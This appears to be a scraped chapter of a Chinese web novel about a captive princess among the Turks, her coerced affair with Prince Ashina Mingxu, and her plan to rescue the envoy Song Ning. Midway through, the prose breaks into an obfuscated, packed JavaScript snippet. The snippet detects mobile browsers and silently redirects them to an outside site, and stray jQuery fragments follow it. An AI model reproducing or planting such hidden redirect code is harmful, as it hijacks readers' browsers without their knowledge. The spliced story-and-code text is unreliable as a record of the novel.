48. 机不可失

作品:《金戈映红妆追杀偏执狂

    “怎么样?你想好了吗?”其实他怎会真的容她去想?他已是箭在弦上不得不发。钰望与愤怒共同煎熬着他。他见她迟疑,伸手搂住她,把灼热的吻印在她脸上。


    她紧紧拽着自己的皮袄。“不行!除非你帮我救人!”


    “救谁?”


    “救宋宁!就是今天被乌拉赞扣下的那个泱国使臣!”


    “那个不知天高地厚的傻小子?救他干什么?那种人救下来也只会惹祸。”


    赵环佩推拒着他,“你只说你答不答应!”


    “行行行,答应答应,你说什么我都答应!”


    他急不可耐,她放弃抵抗。冰天雪地,寒风凛冽。


    他胡子上染着霜雪,一双眼睛里装着忘情的黑夜,“难怪乌拉赞不肯杀你也不肯放过你……”


    他没有把话说下去,她也无心去听,她觉得好热又好冷,像窜出冰面摔在雪地上甩着尾巴等死的鱼。


    他紧紧抱着她,他得到了她!他终于是得到了她啊!这美味至极的饕餮盛宴,他在盛宴上忘情狂欢。


    不枉他冰天雪地在她帐外守候了这么多天,他当然不会想到更深露重她会出来,或许冥冥中自有注定,注定她会成为他阿史那明旭的女人!


    “夜叉——”


    回应他的,是她带着痛苦的哼声,他这才猛然想起她身子不好,怕是难以承受,若是她晕厥在外面,乌拉赞还在帐里,他该如何是好?纵有万般不愿,他也唯有放开她,他给她穿好衣服,把她抱到毡账外,恋恋不舍地吻了她好一会儿才放她进去。


    万幸毡账里的乌拉赞并没有醒来,她可以不用面对他的质疑与盘问。


    她喝了热水钻进被窝久久觉得缓不过来这口气,不单单是因为身子不好,更多是因为惊怒交加!在冰天雪地里,不顾廉耻,不畏寒冷,这是只有畜牲才会做的事!她愤懑至极,心痛至极,嗓子眼里堵着一股子腥甜。


    她知道自己这是又要不好,拼命地劝自己要想开。在突厥除了乌拉赞,最有权势的就要属阿史那明旭,不少部落的首领表面上服从乌拉赞,暗地里却以阿史那明旭马首是瞻,传闻他才是老可汗最钟意的继任人选。乌拉赞表面上一直拉拢他,暗地里恨不能除他而后快,之所以迟迟未下手其实是因为心存忌惮。


    她在乌拉赞手里活得那样艰难,她不是没有想过择木而栖,可突厥人皆恨她,谁又可能接纳她?就算一时兴起,怕也只是玩弄而已,可这个阿史那明旭,他是那样急不可耐又是这样恋恋不舍,他甚至让她生出一种错觉,仿佛杨泉又回来了,不顾一切地回来爱她。


    退一万步讲,就算他是虚情假意,就算他对她只是玩弄,他既然凑上前来,她何不好好利用他?


    他能帮她隐瞒追魂的事,又答应帮她救宋宁,这笔账怎么算她都不亏啊!


    可她为何就想不开呢?


    什么尊严,什么尊重,她早就没有了,她有什么想不开的?!


    她一口血呕在床榻边。


    她到底有什么想不开?


    难道是因为她对他动了心?从他那一句“给她个体面的死法”,到他一只茶盏救她性命,再到他冰天雪地策马而来把一束姜黄色的鲜花塞进她怀里,不知不觉间这个人对她而言已经有了不同的意义?


    可为什么他也同杨泉一样,看起来顶天立地,做的却都是令人不齿的龌蹉之事?!


    她恨他,她其实更恨的是她自己!现在是什么状况?什么处境?每天都踩在刀刃上,活得朝不保夕,还有心思去想什么爱不爱?


    可它真就来了,像开在冰天雪地里的花,颤巍巍的抖开花瓣,迎着阳光,不惧风霜。那本不该存在的存在,被一个男人捧着,策马扬鞭、追风逐雪般送进她怀里。


    不应该啊!大错特错!


    错在她总是看错人,心仪于谁,谁便不可托付!


    那不可思议的弥足珍贵的爱情之花,上面是不是又注定要沾染上她的鲜血?!


    她撑起身子想叫人,一口血又涌出来,晕倒在榻边。


    天蒙蒙亮的时候她醒了过来,乌拉赞已经走了,身边就只有茨玛。


    她虚弱地看着茨玛,看她惊惧而焦急的脸,她抬手擦去茨玛的眼泪,“你放心,现在我还是不会死的。”


    可怜的孩子,她这样害怕,是怕她也像她娘亲昭荷公主一样绝望破碎撒手人寰吗?


    “没有希望的时候,我尚且苦苦熬着,而今有了希望,我怎么舍得死呢?”


    茨玛不明白她所说的话,只是满脸惊惧地看着她。“可汗说你不中用,发了好大的火。可汗那样生气,他会不会又不理我们?茨玛没用,茨玛要不来炭。”她说着大哭起来,对寒冷的畏惧击垮了她。


    赵环佩苦笑,“没用的是我。”


    她把茨玛端给她的汤药喝得渣都不剩,这还是老巫医原先开给她的方子,她不懂医,只知很是好用,每每在受了乌拉赞摧残之后喝了便能吊住她一口气。好在药还没断,又一次续上了她的命。


    又惹乌拉赞不高兴,他也没断了她的药,可见对自己也并非是全然冷酷,只是他这人太过残暴太过阴晴不定,绝非良配。


    “茨玛,你别害怕,不会再像以前那样冷了,春天已经来了。”


    茨玛想了一会随即破涕为笑,她很用力地点着头,泪珠子一串一串从她傻笑的脸上滚落下来,看着令人无比心酸。


    赵环佩转头看着桌案,那下面有几朵被她藏起来的花,姜黄色的花朵早已枯萎,被她小心翼翼做成了干花,她是如此珍惜他的情谊,他却如乌拉赞一般也把她的尊严踩在脚下!


    她为何活得如此可怜?是不是因为她拥有的太少,并且没有什么可珍惜的,人家的一点点示好,她便觉得弥足珍贵,于是落得这样的境地,伤痛又难堪。


    赵环佩在这边自艾自怜,痛苦愤恨,小王爷那里却是迥然不同的心境,他每天都快乐得想飞,因


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918462|189842||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    他终于得偿所愿,他又痛恨得想死,因为他知道了她从马车里抽出来又塞回去的是什么东西!


    果然非我族类其心必异!


    她已经断了筋脉,又常常被乌拉赞折磨得死去活来,她虚弱得像即将枯萎的茧丝花一样,明明身体状况已经这样的差,她却还不肯忘却国仇家恨!


    很显然,泱国舍弃她也是一场骗局!他们把戏演得震天撼地,令突厥人欢欣鼓舞,殊不知他们在背后暗暗谋划,若不是暗有往来沆瀣一气,怎会把武器给她送来?


    非我族类,其心必异。


    这天又到了春猎的日子,族中大部分人都出动狩猎去了,小王爷称病未出,待大家都走了,他钻进了赵环佩的毡帐。


    她见他进来犹如受了惊的鹿一跃而起,她惊惶四顾,显然是在找她的婢女。


    “不用找了,我让桑吉带她去打猎了。”


    赵环佩闻言急了,“弓箭不长眼睛,伤着了她怎么办?”


    小王爷撇嘴一笑,“她可没你想得那么不中用,你以为她是怎么长大的?突厥人信奉弱肉强食,没人会去同情关照一个痴子,即便那个痴子身上流着皇室的血。你与其担心旁人的安危,不如关心一下你自己的处境。”


    她什么处境?左不过再被他欺辱一番,他又不是没有干过。可看着他人高马大、来意昭然,她又忍不住惊惧莫名。


    他伸手抬起她的下巴,笑道:“你就这么惧我?”


    她逞强道:“我何惧之有?”


    他吻向她的唇,采撷她的甜美,她越发像只受惊的小鹿,温驯而绝望。


    许久后,他放开她,问道:“你想我吗?”


    她惶惑地望着他貌似诚挚的眼睛,在其中仿佛看到了真情。可他一个突厥人对她怎么可能有真情?“你可有见过宋宁?他怎么样了?”


    “我好不容易才能逮到机会来见你,你见了我却只知道关心旁人?”


    “他到底怎么样了?”


    他抚摸她的脸,狭长的眼中饱含深情。“夜叉,你不要这样扫兴。”


    “你真是好大的胆,你就不怕乌拉赞知道?”


    他笑道:“你们泱人不是有句话说’牡丹花下死,做鬼也风流’?”他攥住她的手,亲吻她青葱一样的手指,“你到底想我没?你不知道我是多么的想你……”


    他不愿意说,她总不能逼迫,她收回了不该有的情愫,可该利用的感情还是要利用的。她拿出她制作的干花,那浓重的姜黄色宛如一簇火苗,霎时间点燃了他胸中的熊熊烈火,他一把抱住她,颤抖着声音道:“夜叉,原来你心里也有我!”


    她几乎要融化在他似真似假的柔情里,一声夜叉却宛如当头棒喝,提醒她与他隔着人命血债。她心生寒意,寒冷如冰凌窜射向四肢百赅,而他却浑然不觉般向她宣泄着他的思念。


    衣衫渐落,她伸出纤细的手臂攀住他的脖颈,她该攀住这棵大树,她在乌拉赞手里没有活路。